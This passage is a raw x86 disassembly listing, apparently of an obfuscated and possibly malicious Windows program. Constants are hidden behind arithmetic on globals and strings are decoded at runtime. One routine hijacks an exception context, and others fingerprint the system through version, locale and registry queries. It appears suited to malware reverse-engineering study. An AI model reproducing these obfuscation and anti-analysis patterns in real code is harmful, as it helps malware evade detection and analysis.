esp, 8 mov eax, dword_5510C0 inc eax sub ebx, eax movsx eax, word_5511F0 sub eax, 3 add eax, [ebp+arg_0] mov [ebp+arg_0], eax mov eax, dword_5511B8 add eax, dword_5511D4 sub eax, 8 lea esi, [esi+eax] loc_442EF8: ; CODE XREF: sub_442E73+4Ej mov eax, dword_5510B0 movsx edx, word_551210 add eax, edx sub eax, 7 cmp ebx, eax jnb short loc_442EC3 mov eax, dword_5511AC sub eax, 2 cmp ebx, eax jbe short loc_442F91 push 3 mov eax, dword_5511B4 sub eax, 4 push eax lea eax, [ebp+var_7] push eax call ds:dword_4CD934 push ebx push [ebp+arg_0] lea eax, [ebp+var_7] push eax call ds:dword_4CD814 push esi lea eax, [ebp+var_7] push eax call sub_43F98E add esp, 20h movsx eax, word_551164 movsx edx, word_55109C add eax, edx sub eax, 6 cmp ebx, eax jnz short loc_442F74 movsx eax, word_5510F8 add eax, dword_551124 sub eax, 5 mov byte ptr [esi+eax], 3Dh loc_442F74: ; CODE XREF: sub_442E73+EBj mov eax, dword_5511BC add eax, dword_5510C0 sub eax, 5 mov byte ptr [esi+eax], 3Dh movsx eax, word_551148 lea esi, [eax+esi+3] loc_442F91: ; CODE XREF: sub_442E73+A4j movsx eax, word_551240 sub eax, 8 movsx edx, word_551210 sub edx, 5 mov [esi+eax], dl xor eax, eax inc eax loc_442FAB: ; CODE XREF: sub_442E73+33j pop edi pop esi pop ebx leave retn sub_442E73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442FB0 proc near ; CODE XREF: sub_446ED7+3Ep var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_1FE = byte ptr -1FEh var_10F = byte ptr -10Fh var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi call sub_44322A or eax, eax jz loc_443202 mov [ebp+var_204], 0FFh lea eax, [ebp+var_204] push eax lea eax, [ebp+var_FF] push eax call ds:dword_44B5A0 mov eax, dword_551108 add eax, dword_551234 movsx eax, [ebp+eax+var_10F] mov edx, dword_55119C sub edx, 4 cmp eax, edx jnz short loc_44300F xor eax, eax inc eax jmp loc_443202 ; --------------------------------------------------------------------------- loc_44300F: ; CODE XREF: sub_442FB0+55j push offset byte_551951 call sub_43CAF7 movsx edx, word_551138 sub edx, 2 push edx push eax lea edx, [ebp+var_FF] push edx call sub_43FE22 add esp, 10h mov edx, eax movsx ecx, word_5510C4 mov eax, dword_55112C lea ecx, [ecx+eax+0FFF1h] cmp edx, ecx jz short loc_443055 xor eax, eax inc eax jmp loc_443202 ; --------------------------------------------------------------------------- loc_443055: ; CODE XREF: sub_442FB0+9Bj push offset byte_551947 call sub_43CAF7 mov edx, dword_551228 sub edx, 7 push edx push eax lea edx, [ebp+var_FF] push edx call sub_43FE22 add esp, 10h mov ecx, dword_5511F4 add ecx, 0FFF2h add ecx, dword_551170 cmp eax, ecx jz short loc_443097 xor eax, eax inc eax jmp loc_443202 ; --------------------------------------------------------------------------- loc_443097: ; CODE XREF: sub_442FB0+DDj mov [ebp+var_208], 0FFh lea eax, [ebp+var_208] push eax lea eax, [ebp+var_1FE] push eax call ds:dword_448040 push offset word_551942 call sub_43CAF7 push eax lea edx, [ebp+var_1FE] push edx call ds:dword_44802C mov eax, dword_55119C sub eax, 3 push eax lea eax, [ebp+var_FF] push eax lea eax, [ebp+var_1FE] push eax call sub_43FE22 add esp, 18h mov edx, dword_55115C add edx, 0FFFBh cmp eax, edx jz short loc_443104 xor eax, eax inc eax jmp loc_443202 ; --------------------------------------------------------------------------- loc_443104: ; CODE XREF: sub_442FB0+14Aj call ds:dword_4CE918 mov esi, eax xor ebx, ebx mov edi, esi loc_443110: ; CODE XREF: sub_442FB0+23Bj movsx eax, word_5510B4 add eax, dword_551090 sub eax, 9 movzx eax, byte ptr [edi+eax] movsx edx, word_5511C4 movsx ecx, word_551164 add edx, ecx sub edx, 9 cmp eax, edx jz loc_4431F0 mov ecx, edi or eax, 0FFFFFFFFh loc_443144: ; CODE XREF: sub_442FB0+199j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_443144 mov [ebp+var_20C], eax push offset dword_551938 call sub_43CAF7 add esp, 4 mov edx, dword_5510DC add edx, dword_55112C sub edx, 0Bh push edx push eax push edi call sub_43FE22 add esp, 0Ch mov ecx, dword_551200 add ecx, 0FFFAh cmp eax, ecx jz short loc_44318F mov ebx, 1 jmp short loc_4431F0 ; --------------------------------------------------------------------------- loc_44318F: ; CODE XREF: sub_442FB0+1D6j push offset asc_551927 ; "\r" call sub_43CAF7 movsx edx, word_551104 inc edx push edx push eax push edi call sub_43FE22 add esp, 10h mov edx, eax mov ecx, dword_5510B0 add ecx, 0FFF3h movsx eax, word_5511E8 add ecx, eax cmp edx, ecx jz short loc_4431CC xor ebx, ebx inc ebx jmp short loc_4431F0 ; --------------------------------------------------------------------------- loc_4431CC: ; CODE XREF: sub_442FB0+215j movsx eax, word_551208 movsx edx, word_551240 add eax, edx sub eax, 8 mov edx, [ebp+var_20C] add edx, edi mov edi, eax add edi, edx jmp loc_443110 ; --------------------------------------------------------------------------- loc_4431F0: ; CODE XREF: sub_442FB0+189j ; sub_442FB0+1DDj ... push esi call ds:dword_4CD944 or ebx, ebx jz short loc_443200 xor eax, eax inc eax jmp short loc_443202 ; --------------------------------------------------------------------------- loc_443200: ; CODE XREF: sub_442FB0+249j xor eax, eax loc_443202: ; CODE XREF: sub_442FB0+13j ; sub_442FB0+5Aj ... pop edi pop esi pop ebx leave retn sub_442FB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443207 proc near ; DATA XREF: sub_43DE1F+Bo arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp pusha mov esi, [ebp+arg_8] mov eax, offset sub_43E266 mov [esi+0B8h], eax mov eax, [ebp+arg_4] mov [esi+0C4h], eax popa mov esp, ebp pop ebp xor eax, eax retn sub_443207 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44322A proc near ; CODE XREF: sub_43FA48+9p ; sub_440CD2+11p ... var_94 = dword ptr -94h var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h cmp dword_551284, 0 jz short loc_443241 xor eax, eax inc eax jmp short locret_443270 ; --------------------------------------------------------------------------- loc_443241: ; CODE XREF: sub_44322A+10j mov [ebp+var_94], 94h lea eax, [ebp+var_94] push eax call ds:dword_54FF28 cmp [ebp+var_84], 2 jnz short loc_44326B mov dword_551284, 1 loc_44326B: ; CODE XREF: sub_44322A+35j mov eax, dword_551284 locret_443270: ; CODE XREF: sub_44322A+15j leave retn sub_44322A endp ; =============== S U B R O U T I N E ======================================= sub_443272 proc near ; CODE XREF: sub_446ED7+39p push edi push offset asc_55191A ; "\t" call sub_43CAF7 pop ecx push eax call ds:dword_44B598 mov dword_551260, eax mov eax, dword_551168 sub eax, 2 cmp dword_551260, eax jnz short loc_4432B1 push offset asc_55190D ; "\t" call sub_43CAF7 pop ecx push eax call ds:dword_48C218 mov dword_551260, eax loc_4432B1: ; CODE XREF: sub_443272+26j push offset word_5518FE call sub_43CAF7 pop ecx push eax push dword_551260 call ds:dword_44B1AC mov ds:dword_4CC220, eax pop edi retn sub_443272 endp ; =============== S U B R O U T I N E ======================================= sub_4432D0 proc near ; DATA XREF: .data:005512DCo mov eax, 80004001h retn 18h sub_4432D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4432D8 proc near ; CODE XREF: sub_443843+139p var_1AC = dword ptr -1ACh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_198 = dword ptr -198h var_193 = dword ptr -193h var_18F = dword ptr -18Fh var_18B = dword ptr -18Bh var_187 = dword ptr -187h var_183 = dword ptr -183h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ACh push ebx push esi push edi mov edi, [ebp+arg_0] mov byte ptr [edi], 0 mov [ebp+var_193], 94h lea eax, [ebp+var_193] push eax call ds:dword_54FF28 cmp [ebp+var_183], 1 jnz short loc_44331F push offset dword_5518F8 call sub_43CAF7 push eax push edi call ds:dword_44802C add esp, 0Ch loc_44331F: ; CODE XREF: sub_4432D8+30j cmp [ebp+var_183], 2 jnz short loc_44333D push offset word_5518F2 call sub_43CAF7 push eax push edi call ds:dword_50E928 add esp, 0Ch loc_44333D: ; CODE XREF: sub_4432D8+4Ej push offset word_5518E6 call sub_43CAF7 push [ebp+var_187] push [ebp+var_18B] push [ebp+var_18F] push eax lea ebx, [ebp+var_FF] push ebx call ds:dword_50E928 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C push offset byte_5518DF call sub_43CAF7 mov ebx, dword_551108 sub ebx, 8 push ebx movsx ebx, word_5510FC add ebx, dword_5510BC sub ebx, 2 push ebx lea ebx, [ebp+var_19C] push ebx lea ebx, [ebp+var_19C] push ebx lea ebx, [ebp+var_1A0] push ebx push 0FFh lea ebx, [ebp+var_FF] push ebx push eax call ds:dword_4CE900 push offset byte_5518D7 call sub_43CAF7 push [ebp+var_1A0] push eax lea ebx, [ebp+var_FF] push ebx call ds:dword_50E928 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C push 0FFh lea eax, [ebp+var_FF] push eax mov eax, dword_551170 movsx edx, word_551240 add eax, edx sub eax, 9 push eax push 400h call ds:dword_44B5A8 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C push offset word_5518D2 call sub_43CAF7 push eax push edi call ds:dword_44802C mov [ebp+var_198], 0FFh push offset byte_5518A5 call sub_43CAF7 mov [ebp+var_1A8], eax push offset asc_551898 ; "\t" call sub_43CAF7 lea ebx, [ebp+var_1A4] push ebx lea ebx, [ebp+var_198] push ebx lea ebx, [ebp+var_FF] push ebx push eax mov ebx, [ebp+var_1A8] push ebx push 80000002h call sub_442B18 add esp, 70h mov esi, eax movsx eax, word_551198 cmp esi, eax jnz short loc_4434A5 lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C add esp, 8 jmp short loc_44351D ; --------------------------------------------------------------------------- loc_4434A5: ; CODE XREF: sub_4432D8+1B8j mov [ebp+var_198], 0FFh push offset unk_551868 call sub_43CAF7 mov [ebp+var_1AC], eax push offset byte_55185B call sub_43CAF7 lea ebx, [ebp+var_1A4] push ebx lea ebx, [ebp+var_198] push ebx lea ebx, [ebp+var_FF] push ebx push eax mov ebx, [ebp+var_1AC] push ebx push 80000002h call sub_442B18 add esp, 20h mov esi, eax movsx eax, word_551210 movsx edx, word_5511A4 add eax, edx sub eax, 0Ah cmp esi, eax jnz short loc_44351D lea eax, [ebp+var_FF] push eax push edi call ds:dword_44802C add esp, 8 loc_44351D: ; CODE XREF: sub_4432D8+1CBj ; sub_4432D8+232j pop edi pop esi pop ebx leave retn sub_4432D8 endp ; =============== S U B R O U T I N E ======================================= sub_443522 proc near ; CODE XREF: sub_443843+F7p push ebx push esi movsx esi, word_551164 mov ebx, dword_5510B0 add ebx, 6E0637BAh mov ds:dword_54EAF8[esi*4], ebx mov esi, dword_551090 add esi, 7 movsx ebx, word_551104 add esi, ebx movsx ebx, word_5510C4 movsx edx, word_551240 lea ebx, [ebx+edx+1E4E8736h] mov ds:dword_54EAC0[esi*4], ebx mov esi, dword_5510B0 add esi, 2 add esi, dword_5510EC mov ebx, dword_551150 add ebx, 3D357C67h mov ds:dword_54EAC0[esi*4], ebx movsx esi, word_55113C add esi, dword_5511F4 mov ebx, dword_551120 add ebx, 869AE873h add ebx, dword_5511E4 mov ds:dword_54EA80[esi*4], ebx movsx esi, word_5510F8 add esi, dword_551238 mov ebx, dword_5510E0 add ebx, 0BFFD7E26h mov ds:dword_54EAB0[esi*4], ebx mov ecx, dword_55119C sub ecx, 3 jmp short loc_4435F1 ; --------------------------------------------------------------------------- loc_4435DF: ; CODE XREF: sub_443522+DFj movsx esi, word_551190 sub esi, 8 mov ds:dword_54EA80[ecx*4], esi inc ecx loc_4435F1: ; CODE XREF: sub_443522+BBj mov eax, dword_551184 add eax, 8 add eax, dword_5511D8 cmp ecx, eax jb short loc_4435DF movsx ecx, word_5510A8 mov esi, dword_55111C add esi, 323D4731h add esi, dword_551184 mov ds:dword_54EAF4[ecx*4], esi movsx ecx, word_5511C4 mov esi, dword_5510D8 add esi, 505215A3h add esi, dword_55122C mov ds:dword_54EAB8[ecx*4], esi mov ecx, dword_5511B0 movsx esi, word_551118 add esi, 1AB051F1h mov ds:dword_54EACC[ecx*4], esi movsx ecx, word_5511C4 movsx esi, word_551138 add ecx, esi mov esi, dword_5511E4 add esi, 280E85C8h add esi, dword_551098 mov ds:dword_54EAB8[ecx*4], esi movsx ecx, word_551128 mov esi, dword_5511EC add esi, 0E383CCDCh mov ds:dword_54EADC[ecx*4], esi mov ecx, dword_551224 add ecx, dword_551160 mov esi, dword_551248 add esi, 0D76ADDDAh add esi, dword_5510B8 mov ds:dword_54EAB0[ecx*4], esi mov ecx, dword_5510A0 movsx esi, word_551118 mov ebx, dword_5510A4 lea esi, [esi+ebx+14F80509h] mov ds:dword_54EAEC[ecx*4], esi mov ecx, dword_551178 mov esi, dword_551160 add esi, 0CC24407Bh mov ds:dword_54EAA8[ecx*4], esi mov ecx, dword_551134 add ecx, dword_5511EC mov esi, ebx add esi, 1B77E1D9h movsx ebx, word_5510CC add esi, ebx mov ds:dword_54EAC0[ecx*4], esi movsx ecx, word_551138 mov esi, dword_551124 add esi, 0Dh add esi, dword_551168 mov ds:dword_54EA74[ecx*4], esi movsx ecx, word_551244 movsx esi, word_5511A4 mov ebx, dword_551184 lea esi, [esi+ebx-1E081165h] mov ds:dword_54EAA4[ecx*4], esi mov ecx, dword_551238 add ecx, 6 add ecx, dword_5510E8 mov esi, dword_5510D4 add esi, 0D24B644Bh add esi, dword_5511BC mov ds:dword_54EAC0[ecx*4], esi pop esi pop ebx retn sub_443522 endp ; =============== S U B R O U T I N E ======================================= sub_44378D proc near ; DATA XREF: .data:005512F8o mov eax, 80004001h retn 8 sub_44378D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443795 proc near ; CODE XREF: sub_442B82+E8p ; sub_442B82+166p var_7 = byte ptr -7 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov byte ptr [ebx], 0 mov ecx, esi or eax, 0FFFFFFFFh loc_4437AB: ; CODE XREF: sub_443795+1Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_4437AB mov [ebp+var_4], eax movsx eax, word_551118 mov edi, eax add edi, dword_55115C sub edi, 0Ch jmp short loc_443839 ; --------------------------------------------------------------------------- loc_4437C9: ; CODE XREF: sub_443795+A7j movzx eax, [ebp+arg_8] cmp edi, eax jb short loc_4437DC mov al, [esi+edi] cmp al, 2Fh jz short loc_4437DC cmp al, 2Eh jnz short loc_4437FB loc_4437DC: ; CODE XREF: sub_443795+3Aj ; sub_443795+41j push offset byte_551855 call sub_43CAF7 movzx edx, byte ptr [esi+edi] push edx push eax lea edx, [ebp+var_7] push edx call ds:dword_50E928 add esp, 10h jmp short loc_44382A ; --------------------------------------------------------------------------- loc_4437FB: ; CODE XREF: sub_443795+45j push offset dword_551850 call sub_43CAF7 push eax push ebx call ds:dword_44802C push offset dword_551848 call sub_43CAF7 movzx edx, byte ptr [esi+edi] push edx push eax lea edx, [ebp+var_7] push edx call ds:dword_50E928 add esp, 1Ch loc_44382A: ; CODE XREF: sub_443795+64j lea eax, [ebp+var_7] push eax push ebx call ds:dword_44802C add esp, 8 inc edi loc_443839: ; CODE XREF: sub_443795+32j cmp edi, [ebp+var_4] jb short loc_4437C9 pop edi pop esi pop ebx leave retn sub_443795 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443843 proc near ; CODE XREF: sub_446ED7+33Ap var_26C = dword ptr -26Ch var_268 = byte ptr -268h var_267 = byte ptr -267h var_211 = byte ptr -211h var_205 = byte ptr -205h var_203 = byte ptr -203h var_202 = byte ptr -202h var_1FB = byte ptr -1FBh var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 26Ch push edi lea eax, [ebp+var_104] push eax movsx eax, word_5510FC sub eax, 2 push eax mov eax, dword_55115C sub eax, 4 push eax push 1Ch mov eax, dword_551224 add eax, dword_55124C sub eax, 0Ah push eax call ds:dword_48BA00 lea eax, [ebp+var_267] push eax call sub_43ECB6 lea eax, sub_43F41A mov ds:dword_50E91C, eax lea eax, sub_43D535 mov ds:dword_54EA74, eax lea eax, sub_43F41A mov ds:dword_48C1E0, eax lea eax, sub_43DB30 mov ds:dword_48C1F0, eax push offset byte_551835 call sub_43CAF7 movsx edi, word_55113C add edi, dword_551204 sub edi, 5 push edi lea edi, [ebp+var_104] push edi push eax push offset dword_44B0A0 call ds:dword_50E928 push offset word_551826 call sub_43CAF7 mov edi, dword_551140 add edi, dword_5510A4 sub edi, 2 push edi lea edi, [ebp+var_267] push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4CC230 call ds:dword_50E928 lea eax, dword_44B0A0 mov ds:dword_4CD820, eax lea eax, dword_4CD830 mov ds:dword_449FD4, eax lea eax, sub_43DD8A mov ds:dword_48B9E4, eax call sub_443522 mov eax, dword_551178 inc eax push eax push offset dword_48C200 call sub_43EDF9 push offset word_551812 call sub_43CAF7 mov edi, dword_5511F4 sub edi, 3 push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4CD830 call ds:dword_50E928 push offset dword_449FE0 call sub_4432D8 push offset byte_5517FF call sub_43CAF7 mov edi, dword_55114C add edi, 4 push edi lea edi, [ebp+var_104] push edi push eax push offset dword_4CC440 call ds:dword_50E928 lea eax, sub_43F41A mov ds:dword_449014, eax lea eax, dword_4CC440 mov ds:dword_44801C, eax lea eax, dword_54E970 mov dword_5512C4, eax push offset sub_43EDC6 call sub_43EBAF push offset sub_4467F2 call sub_43EBAF push offset sub_44493B call sub_43EBAF movsx eax, word_55109C add eax, dword_5511F4 sub eax, 5 mov ds:dword_44B5D0, eax mov eax, dword_551248 add eax, dword_5511C0 sub eax, 4 push eax lea eax, [ebp+var_203] push eax call sub_443E2E add esp, 78h mov eax, dword_55116C add eax, dword_551098 cmp [ebp+eax+var_211], 64h jnz short loc_443A7B movsx eax, [ebp+var_202] mov edx, dword_551168 add edx, 16h movsx ecx, word_5511C4 add edx, ecx sub eax, edx mov [ebp+var_268], al movsx eax, word_551218 mov ds:dword_44B5D0, eax movzx eax, [ebp+var_268] push eax mov eax, dword_5510A4 add eax, dword_5511C8 sub eax, 0Fh push eax call sub_43F090 add esp, 8 loc_443A7B: ; CODE XREF: sub_443843+1EAj movsx eax, word_551104 add eax, dword_55114C cmp [ebp+eax+var_205], 67h jnz short loc_443AD7 mov eax, dword_55114C mov edx, eax sub edx, 2 mov [ebp+eax+var_1FB], dl lea eax, [ebp+var_202] push eax call ds:dword_44901C mov [ebp+var_26C], eax push eax push offset dword_54E970 call sub_445E8D add esp, 0Ch mov eax, dword_5510E0 add eax, dword_551098 sub eax, 0Fh mov ds:dword_44B5D0, eax loc_443AD7: ; CODE XREF: sub_443843+24Dj pop edi leave retn sub_443843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443ADA proc near ; CODE XREF: sub_43D3AD+FCp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi mov ebx, [ebp+arg_0] lea eax, dword_54EA80 mov [ebp+var_48], eax movsx eax, word_551244 mov edi, eax add edi, dword_5510B8 sub edi, 0Bh jmp short loc_443B11 ; --------------------------------------------------------------------------- loc_443B03: ; CODE XREF: sub_443ADA+43j mov edx, edi shl edx, 1 mov cx, [ebx+edi*2] mov [ebp+edx+var_40], cx inc edi loc_443B11: ; CODE XREF: sub_443ADA+27j movsx eax, word_551138 add eax, 1Dh cmp edi, eax jb short loc_443B03 mov eax, dword_5511BC sub eax, 6 mov [ebp+var_44], eax loc_443B2A: ; CODE XREF: sub_443ADA+6Bj inc [ebp+var_44] mov eax, [ebp+var_48] movzx eax, word ptr [eax] cmp [ebp+var_44], eax jnb short loc_443B47 push ebx lea eax, [ebp+var_40] push eax call sub_43D0C6 add esp, 8 jmp short loc_443B2A ; --------------------------------------------------------------------------- loc_443B47: ; CODE XREF: sub_443ADA+5Cj mov esi, dword_5510B8 sub esi, 4 jmp short loc_443B63 ; --------------------------------------------------------------------------- loc_443B52: ; CODE XREF: sub_443ADA+93j mov edx, esi shl edx, 1 mov ecx, [ebp+arg_4] mov dx, [ebp+edx+var_40] mov [ecx+esi*2], dx inc esi loc_443B63: ; CODE XREF: sub_443ADA+76j mov eax, dword_551120 add eax, 18h cmp esi, eax jb short loc_443B52 pop edi pop esi pop ebx leave retn sub_443ADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443B74 proc near ; CODE XREF: sub_446ED7+344p var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = word ptr -38h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi movsx eax, word_551218 add eax, dword_5511D4 sub eax, 8 mov [ebp+var_4], eax jmp short loc_443BB4 ; --------------------------------------------------------------------------- loc_443B92: ; CODE XREF: sub_443B74+4Bj mov eax, 30h mul [ebp+var_4] mov [ebp+var_20], eax movsx eax, word_551244 sub eax, 7 mov edx, [ebp+var_20] mov ds:dword_4CC550[edx], eax inc [ebp+var_4] loc_443BB4: ; CODE XREF: sub_443B74+1Cj mov eax, dword_5510B0 add eax, 5Fh cmp [ebp+var_4], eax jb short loc_443B92 movsx eax, word_5510D0 sub eax, 6 push eax call ds:dword_44B084 push offset dword_5512E8 push offset dword_552A88 push 7 mov eax, dword_5511B0 sub eax, 7 push eax push offset dword_5529C8 call ds:dword_44B5D4 mov ebx, eax mov eax, dword_551220 sub eax, 2 cmp ebx, eax jnz loc_443DAD lea eax, [ebp+var_C] push eax mov eax, dword_5512E8 push eax mov edi, [eax] call dword ptr [edi+1Ch] mov ebx, eax mov eax, dword_551204 sub eax, 2 cmp ebx, eax jnz short loc_443C2E mov eax, dword_551220 sub eax, 2 cmp [ebp+var_C], eax jnz short loc_443C33 loc_443C2E: ; CODE XREF: sub_443B74+ABj jmp loc_443D34 ; --------------------------------------------------------------------------- loc_443C33: ; CODE XREF: sub_443B74+B8j movsx eax, word_5510C4 add eax, dword_5510E8 sub eax, 7 mov [ebp+var_8], eax jmp loc_443D28 ; --------------------------------------------------------------------------- loc_443C4B: ; CODE XREF: sub_443B74+1BAj mov eax, [ebp+var_8] mov [ebp+var_30], eax mov [ebp+var_38], 3 lea eax, [ebp+var_3C] push eax lea esi, [ebp+var_38] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, dword_5512E8 push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax mov eax, dword_5510F0 add eax, dword_55116C sub eax, 8 cmp ebx, eax jnz loc_443D25 lea eax, [ebp+var_40] push eax push offset dword_552AA8 mov eax, [ebp+var_3C] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax mov eax, dword_55122C add eax, dword_5510D8 sub eax, 0Dh cmp ebx, eax jnz short loc_443D1C lea eax, off_5512E4 mov [ebp+var_24], eax push eax mov esi, [eax] call dword ptr [esi+4] lea eax, [ebp+var_44] push eax push offset dword_5529E8 mov eax, [ebp+var_24] push eax mov edi, [eax] call dword ptr ds:0[edi] mov ebx, eax cmp ebx, dword_5510BC jnz short loc_443D0A lea eax, [ebp+var_48] push eax push offset dword_5529E8 push [ebp+var_44] push [ebp+var_40] call sub_43F748 add esp, 10h mov [ebp+var_4C], eax mov eax, [ebp+var_44] push eax mov esi, [eax] call dword ptr [esi+8] loc_443D0A: ; CODE XREF: sub_443B74+171j mov eax, [ebp+var_24] push eax mov esi, [eax] call dword ptr [esi+8] mov eax, [ebp+var_40] push eax mov esi, [eax] call dword ptr [esi+8] loc_443D1C: ; CODE XREF: sub_443B74+142j mov eax, [ebp+var_3C] push eax mov esi, [eax] call dword ptr [esi+8] loc_443D25: ; CODE XREF: sub_443B74+114j inc [ebp+var_8] loc_443D28: ; CODE XREF: sub_443B74+D2j mov eax, [ebp+var_C] cmp [ebp+var_8], eax jb loc_443C4B loc_443D34: ; CODE XREF: sub_443B74:loc_443C2Ej lea eax, off_551308 mov [ebp+var_10], eax push eax mov esi, [eax] call dword ptr [esi+4] lea eax, [ebp+var_14] push eax push offset dword_5529D8 mov eax, [ebp+var_10] push eax mov esi, [eax] call dword ptr ds:0[esi] mov eax, [ebp+var_10] push eax mov esi, [eax] call dword ptr [esi+8] lea eax, [ebp+var_1C] push eax push offset dword_5529D8 push [ebp+var_14] push dword_5512E8 call sub_43F748 add esp, 10h mov [ebp+var_18], eax mov eax, dword_5511F8 movsx edx, word_551198 add eax, edx sub eax, 4 cmp [ebp+var_18], eax jnz short loc_443DAD mov eax, dword_5512E8 push eax mov esi, [eax] call dword ptr [esi+8] mov eax, dword_55114C sub eax, 2 mov dword_5512E8, eax loc_443DAD: ; CODE XREF: sub_443B74+8Aj ; sub_443B74+21Fj pop edi pop esi pop ebx leave retn sub_443B74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443DB2 proc near ; CODE XREF: sub_442B06+2p ; sub_442B06+9p var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push edi lea eax, [ebp+var_104] push eax movsx eax, word_5510FC sub eax, 2 push eax mov eax, dword_551224 movsx edx, word_551094 add eax, edx sub eax, 3 push eax push [ebp+arg_0] mov eax, dword_551120 sub eax, 8 push eax call ds:dword_48BA00 mov edi, eax or edi, edi jnz short loc_443E23 push offset word_5517FA call sub_43CAF7 push eax lea edi, [ebp+var_104] push edi call ds:dword_44802C push 1 push 43h lea eax, [ebp+var_104] push eax call sub_44077A add esp, 18h loc_443E23: ; CODE XREF: sub_443DB2+44j pop edi leave retn sub_443DB2 endp ; =============== S U B R O U T I N E ======================================= sub_443E26 proc near ; DATA XREF: .data:005512BCo mov eax, 80004001h retn 18h sub_443E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443E2E proc near ; CODE XREF: sub_443843+1CFp var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, [ebp+arg_0] push 0 push 0 push 3 push 0 push 0 push 80000000h push offset dword_4CC230 call ds:dword_54FB18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_443E78 mov eax, dword_5510D8 sub eax, 6 mov edx, dword_5510A0 add edx, dword_5511BC sub edx, 9 mov [esi+eax], dl jmp loc_443F01 ; --------------------------------------------------------------------------- loc_443E78: ; CODE XREF: sub_443E2E+29j push 0 movsx eax, word_5511CC sub eax, 9 push eax push [ebp+arg_4] push edi call ds:dword_54FF30 mov eax, dword_551184 movsx edx, word_5510B4 add eax, edx sub eax, 9 push eax lea eax, [ebp+var_4] push eax movsx eax, word_551148 movsx edx, word_551144 lea eax, [eax+edx+0Fh] push eax push esi push edi call ds:dword_448034 mov ebx, eax push edi call ds:dword_4CD948 movsx eax, word_551128 movsx edx, word_551118 add eax, edx sub eax, 0Dh cmp ebx, eax jnz short loc_443F01 mov eax, dword_5510AC add eax, dword_5511E4 sub eax, 0Bh movsx edx, word_5510C4 add edx, dword_5510B0 sub edx, 0Bh mov [esi+eax], dl loc_443F01: ; CODE XREF: sub_443E2E+45j ; sub_443E2E+B0j pop edi pop esi pop ebx leave retn sub_443E2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443F06 proc near ; CODE XREF: sub_44726D+1Ep ; sub_44726D+259p var_10088 = dword ptr -10088h var_10084 = dword ptr -10084h var_10080 = dword ptr -10080h var_1007C = dword ptr -1007Ch var_10078 = word ptr -10078h var_10070 = dword ptr -10070h var_10064 = dword ptr -10064h var_10060 = dword ptr -10060h var_1005C = dword ptr -1005Ch var_10055 = byte ptr -10055h var_10054 = dword ptr -10054h var_10050 = dword ptr -10050h var_1004C = dword ptr -1004Ch var_10048 = dword ptr -10048h var_10044 = dword ptr -10044h var_1003F = byte ptr -1003Fh var_40 = word ptr -40h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 10088h call sub_4475B4 push ebx push esi push edi push offset dword_5517EC call sub_43FEC5 pop ecx push eax call ds:dword_44900C mov [ebp+var_38], eax mov [ebp+var_40], 8 lea eax, [ebp+var_2C] push eax lea esi, [ebp+var_40] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+arg_4] push edi mov edi, [edi] call dword ptr [edi+30h] mov ebx, eax mov eax, dword_551188 sub eax, 5 cmp ebx, eax jz short loc_443F62 xor eax, eax jmp loc_44466C 